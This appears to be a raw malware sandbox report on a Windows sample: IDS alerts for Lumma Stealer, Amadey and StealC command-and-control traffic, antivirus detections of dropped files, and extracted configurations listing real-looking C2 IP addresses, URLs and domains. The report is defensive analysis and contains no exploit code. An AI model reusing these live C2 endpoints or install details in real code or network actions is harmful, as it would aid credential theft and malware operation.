2024-11-18T21:10:35.193080+0100	2028371	3	Unknown Traffic	192.168.2.4	50420	188.114.97.3	443	TCP
2024-11-18T21:10:36.866611+0100	2028371	3	Unknown Traffic	192.168.2.4	50422	188.114.97.3	443	TCP
2024-11-18T21:10:38.431464+0100	2028371	3	Unknown Traffic	192.168.2.4	50424	188.114.97.3	443	TCP
2024-11-18T21:11:00.966751+0100	2028371	3	Unknown Traffic	192.168.2.4	50437	188.114.97.3	443	TCP
2024-11-18T21:11:02.106286+0100	2028371	3	Unknown Traffic	192.168.2.4	50439	188.114.97.3	443	TCP
2024-11-18T21:11:03.344130+0100	2028371	3	Unknown Traffic	192.168.2.4	50440	188.114.97.3	443	TCP
2024-11-18T21:11:04.779574+0100	2028371	3	Unknown Traffic	192.168.2.4	50442	188.114.97.3	443	TCP
2024-11-18T21:11:06.192957+0100	2028371	3	Unknown Traffic	192.168.2.4	50443	188.114.97.3	443	TCP
2024-11-18T21:11:07.656562+0100	2028371	3	Unknown Traffic	192.168.2.4	50445	188.114.97.3	443	TCP
2024-11-18T21:11:09.198783+0100	2028371	3	Unknown Traffic	192.168.2.4	50447	188.114.97.3	443	TCP
2024-11-18T21:11:10.833097+0100	2028371	3	Unknown Traffic	192.168.2.4	50450	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T21:04:14.431223+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49817	188.114.96.3	443	TCP
2024-11-18T21:04:16.418946+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49824	188.114.96.3	443	TCP
2024-11-18T21:04:26.119809+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49875	188.114.96.3	443	TCP
2024-11-18T21:04:28.547784+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49899	188.114.96.3	443	TCP
2024-11-18T21:04:35.434562+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49949	188.114.96.3	443	TCP
2024-11-18T21:04:44.163934+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50016	188.114.96.3	443	TCP
2024-11-18T21:05:02.721074+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50102	188.114.96.3	443	TCP
2024-11-18T21:05:05.327195+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50131	188.114.96.3	443	TCP
2024-11-18T21:05:06.396627+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50146	188.114.96.3	443	TCP
2024-11-18T21:05:07.810717+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50147	188.114.96.3	443	TCP
2024-11-18T21:05:25.280080+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50173	188.114.96.3	443	TCP
2024-11-18T21:10:15.393720+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50368	188.114.97.3	443	TCP
2024-11-18T21:10:16.813730+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50370	188.114.97.3	443	TCP
2024-11-18T21:10:25.192954+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50380	188.114.97.3	443	TCP
2024-11-18T21:10:28.698225+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50384	188.114.97.3	443	TCP
2024-11-18T21:10:30.032750+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50386	188.114.97.3	443	TCP
2024-11-18T21:10:39.084476+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50424	188.114.97.3	443	TCP
2024-11-18T21:11:01.394677+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50437	188.114.97.3	443	TCP
2024-11-18T21:11:02.535816+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50439	188.114.97.3	443	TCP
2024-11-18T21:11:11.376420+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50450	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T21:04:14.431223+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49817	188.114.96.3	443	TCP
2024-11-18T21:04:26.119809+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49875	188.114.96.3	443	TCP
2024-11-18T21:05:02.721074+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50102	188.114.96.3	443	TCP
2024-11-18T21:05:06.396627+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50146	188.114.96.3	443	TCP
2024-11-18T21:10:15.393720+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50368	188.114.97.3	443	TCP
2024-11-18T21:10:28.698225+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50384	188.114.97.3	443	TCP
2024-11-18T21:11:01.394677+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50437	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T21:04:16.418946+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49824	188.114.96.3	443	TCP
2024-11-18T21:04:28.547784+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49899	188.114.96.3	443	TCP
2024-11-18T21:05:05.327195+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50131	188.114.96.3	443	TCP
2024-11-18T21:05:07.810717+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50147	188.114.96.3	443	TCP
2024-11-18T21:10:16.813730+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50370	188.114.97.3	443	TCP
2024-11-18T21:10:30.032750+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50386	188.114.97.3	443	TCP
2024-11-18T21:11:02.535816+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50439	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T21:04:36.373686+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49958	185.215.113.16	80	TCP
2024-11-18T21:04:45.307363+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50024	185.215.113.16	80	TCP
2024-11-18T21:05:26.214844+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50174	185.215.113.16	80	TCP
2024-11-18T21:10:26.126081+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50382	185.215.113.16	80	TCP
2024-11-18T21:10:40.003818+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50426	185.215.113.16	80	TCP
2024-11-18T21:11:12.329060+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50451	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T21:04:12.887298+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49811	185.215.113.43	80	TCP
2024-11-18T21:04:20.920106+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49846	185.215.113.43	80	TCP
2024-11-18T21:04:26.178828+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49881	185.215.113.43	80	TCP
2024-11-18T21:04:33.056067+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49935	185.215.113.43	80	TCP
2024-11-18T21:04:38.752011+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49979	185.215.113.43	80	TCP
2024-11-18T21:10:16.181663+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50369	185.215.113.43	80	TCP
2024-11-18T21:10:20.317570+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50375	185.215.113.43	80	TCP
2024-11-18T21:10:29.498497+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50385	185.215.113.43	80	TCP
2024-11-18T21:10:34.144215+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50419	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T21:04:21.498436+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49845	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T21:04:21.486310+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49845	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T21:04:21.771244+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49845	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T21:04:23.480023+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49845	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T21:04:21.782820+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49845	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T21:04:18.526436+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49833	188.114.96.3	443	TCP
2024-11-18T21:05:16.781855+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50157	188.114.96.3	443	TCP
2024-11-18T21:10:19.982165+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50374	188.114.97.3	443	TCP
2024-11-18T21:11:08.234541+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50445	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T21:04:21.207355+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49845	185.215.113.206	80	TCP
2024-11-18T21:05:03.035671+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50105	185.215.113.206	80	TCP
2024-11-18T21:10:19.139922+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50373	185.215.113.206	80	TCP
2024-11-18T21:11:09.549882+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50446	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T21:04:04.928574+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49768	185.215.113.43	80	TCP
2024-11-18T21:09:39.801223+0100	2856147	1	A Network Trojan was detected	192.168.2.4	50353	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T21:04:11.742721+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49780	TCP
2024-11-18T21:10:15.269210+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	50366	TCP
2024-11-18T21:10:28.587367+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	50381	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T21:04:08.328214+0100	2803305	3	Unknown Traffic	192.168.2.4	49786	185.215.113.16	80	TCP
2024-11-18T21:04:14.168753+0100	2803305	3	Unknown Traffic	192.168.2.4	49818	185.215.113.16	80	TCP
2024-11-18T21:04:21.837403+0100	2803305	3	Unknown Traffic	192.168.2.4	49853	185.215.113.16	80	TCP
2024-11-18T21:04:27.167545+0100	2803305	3	Unknown Traffic	192.168.2.4	49886	185.215.113.16	80	TCP
2024-11-18T21:04:33.964919+0100	2803305	3	Unknown Traffic	192.168.2.4	49942	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T21:04:24.076425+0100	2803304	3	Unknown Traffic	192.168.2.4	49845	185.215.113.206	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T21:04:28.044470+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49900	188.114.96.3	443	TCP
2024-11-18T21:04:40.989745+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50000	188.114.96.3	443	TCP
2024-11-18T21:10:23.999457+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50379	188.114.97.3	443	TCP
2024-11-18T21:10:36.870398+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50422	188.114.97.3	443	TCP
2024-11-18T21:11:10.150883+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50447	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.16/off/def.exeh=V	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/~2	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/$:	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpser	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/api:	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000000.00000002.1814294358.0000000000681000.00000040.00000001.01000000.00000003.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: d657e56348.exe.7128.7.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["peepburry828.sbs", "3xp3cts1aim.sbs", "processhol.sbs", "p3ar11fter.sbs", "p10tgrace.sbs"], "Build id": "LOGS11--LiveTraffic"}
Source: 7208c9365d.exe.7500.8.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 50%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49946 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.67:443 -> 192.168.2.4:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.67:443 -> 192.168.2.4:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.67:443 -> 192.168.2.4:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50110 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50154 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50157 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50159 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50160 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50170 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50173 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50195 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50200 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50208 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50209 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.91:443 -> 192.168.2.4:50236 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50238 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50239 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50241 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50240 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50242 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50258 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50260 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50259 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.168.117.169:443 -> 192.168.2.4:50291 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50324 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50327 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50326 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50325 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.4:50341 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50368 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50370 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50372 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50374 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50376 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50377 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50379 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50380 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50384 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50386 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50388 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50398 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50399 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50402 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50407 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50412 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50411 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50418 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50420 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50422 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50424 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50437 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50439 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50440 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50442 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50443 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50445 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50447 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50450 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50480 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50483 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50482 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50481 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: d657e56348.exe, 00000007.00000002.2808879157.0000000005E02000.00000040.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2724236402.0000000006260000.00000004.00001000.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2830462145.0000000008A60000.00000004.00001000.00020000.00000000.sdmp

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 181MB

Networking

Suricata IDS alerts for network traffic

